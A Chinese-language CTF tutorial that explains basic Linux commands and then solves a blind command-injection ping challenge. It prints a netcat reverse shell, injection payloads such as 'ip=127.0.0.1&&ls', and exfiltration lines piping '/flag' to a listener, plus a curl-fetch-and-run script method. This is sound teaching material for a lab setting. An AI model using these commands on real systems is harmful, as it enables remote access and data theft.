前置基础
linux命令
首先要知道ls,cat,nc,curl等等一些基础命令还有一些基础的符号如:‘|’ ‘&&’ ‘ `` ’,这里就只介绍这道题目所涉及的
ls命令
查看目录有什么文件 列出所有文件
查看 ctf这个文件夹里边有什么文件
在可视化窗口中打开
这两个内容是一样的
cat命令
查看文件内容
使用cat命令查看test.txt的内容
在编辑器中看一下
一样的
nc命令
nc在ctf一般用来反弹shell 传输文件(在pwn中用来连接远程服务器运行的程序)
首先看下反弹shell
在ubuntu(左边)中的 ctf/t 文件夹下有一个123.txt
右边是kali机
kali的ip是192.168.159.138
因为这是局域网 所以反弹shell的时候不用服务器 两台机器是可以互通的
首先在kali上使用
nc -lvp 5666
这是在kali上监听5666这个端口 等待被攻击机也就是 ubuntu连接
然后我们在ubuntu上执行
nc -e /bin/sh 192.168.159.138 5666
后边分别是kali的ip和要连接kali的端口
显示已经连上了
在kali中输入ls可以看到有一个123.txt
我们使用cat看一下
可以看到 我们在kali上可以读取到ubuntu上的文件,这就是因为ubuntu使用了nc这个命令给了kali一个shell 进而kali就可以操控ubuntu了
这就是反弹shell
然后再来看一下传输文件和信息
在说这个之前我们先说一下 前边提到的符号
&&符号表示 执行多条命令 之间用&&连接
比如现在有123.txt和12.txt
可以看到两条命令都执行了
然后是 | 符号
| 表示管道,上一条命令的输出,作为下一条命令参数(输入)。
上一条命令的输出结果 把传递给下一条命令
我们传输信息的时候就用到这个符号
还是一样我们首先在kali上面
nc -lvnp 5666
这里多了个n参数 不知道为啥 不加的话 连不上
可以看到 在kali上已经接收到123.txt的内容
这个就是首先cat 123.txt 得到123.txt中的内容 然后将123.txt内容作为后边nc命令的输入 发送给kali
curl命令
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
我们在linux中可以使用curl访问一个web网站
比如
服务器
前边我们已经知道在局域网中 两台虚拟机可以互相通过nc连通
但是在实际题目中 题目所在的服务器和我们并不在一个局域网中 无法进行连接
如图 我们自己的电脑可以访问互联网 而题目服务器是处在互联网中的 所以我们只要联网就可以访问题目
但是从题目服务器是无法访问我们个人局域网的 所以我们要从题目服务器传送信息给我们个人局域网中的电脑是没有办法实现的
所以 我们需要一个服务器 这个服务器有公网IP 这个公网IP就代表是处在互联网中的
这样 题目服务器和个人服务器是可以互相连通传递信息的
搭建网站
搭建网站推荐使用宝塔,很方便
这个就是我搭建的网站 url上的链接就是我的公网ip
在宝塔面板的网站中添加站点,根目录就是服务器的一个文件夹,当有人通过url访问这个链接时,就会默认访问这个文件夹下的index.html
可以看下这个站点文件夹的内容
我们访问的就是这个index.html
题目讲解
首先这个ping命令的题目
实际上是题目的代码在服务器中执行了ping这个系统命令
如果没有过滤的话 我们可以这样执行
ip=127.0.0.1&&ls
相当于在服务器上执行ping 127.0.0.1&&ls
前边讲过 &&是两条命令都执行 执行完ping之后执行ls
ls是列出当前文件夹有什么文件
然后我们使用
ip=127.0.0.1&&cat index.php
相当于执行ping 127.0.0.1&&cat index.php
执行完ping命令之后查看index.php文件内容
这样我们也就看到了index.php的内容 同样我们可以查看flag文件的内容
但是这道题目有过滤 并且没有回显 没有回显意思就是说 我们执行命令的结果无法在页面上显示出来 比如我们cat index.php 读到了index的源码 但是页面不显示 依然没有用
因为过滤的比较严重 我们只能通过上传一个脚本文件来获得flag
什么是linux脚本文件呢
脚本文件一般一sh文件尾结尾
和windows中的exe差不多一样
比如说
我们有一个这样的sh文件
里边内容是 echo 123
echo命令是linux中的输出命令
会在终端中输出123
我们执行以下sh文件
可以看到在屏幕中输出了123
如果我们这个sh文件中写的是
cat /123.txt | nc 192.168.159.138 5666
那是不是跟我们之前传送文件信息一样了
在ubuntu上有一个sh文件 里边是和前边一样的传输文件信息的命令
首选在kali上监听这个端口
可以看到kali已经接收到这个文件内容了
那么放在这个题目中
我们无法直接在ip参数上cat /falg读出flag 因为读的内容不会在页面上显示出来
那么我们可以利用这个方法
但是我们在网题目服务器上写这个sh文件呢
这就用到了curl这个命令, 我们刚刚测试了curl命令会将网页的内容输出到终端
那我们就在个人服务器上建一个文件里边的内容写成
cat /flag |nc 服务器ip 服务器监听端口
是不是就将 flag中的内容传输到我们的服务器了
这里为啥是 /flag 可以确定flag在这里呢,,只能说 因为经验吧,,flag如果不在网站的目录下那就是在服务器根目录
我们先在个人服务器创建这个sh文件
然后通过访问 120.25.206.180/const.sh
就可以得到这行代码
然后还有一个符号 >
在linux中 > 这个符号可以把前边的字符写入到后边的文件中
可以看到已经将代码写入到start.sh文件了
我们把写入到 /tmp文件夹下 因为/tmp文件夹一般权限比较大 其他文件夹可能没有写入的权限
然后在服务器中执行监听端口
然后使用运行这个sh文件
可以看到已经读出了flag
至于其他几种方法 都是这样的 都试试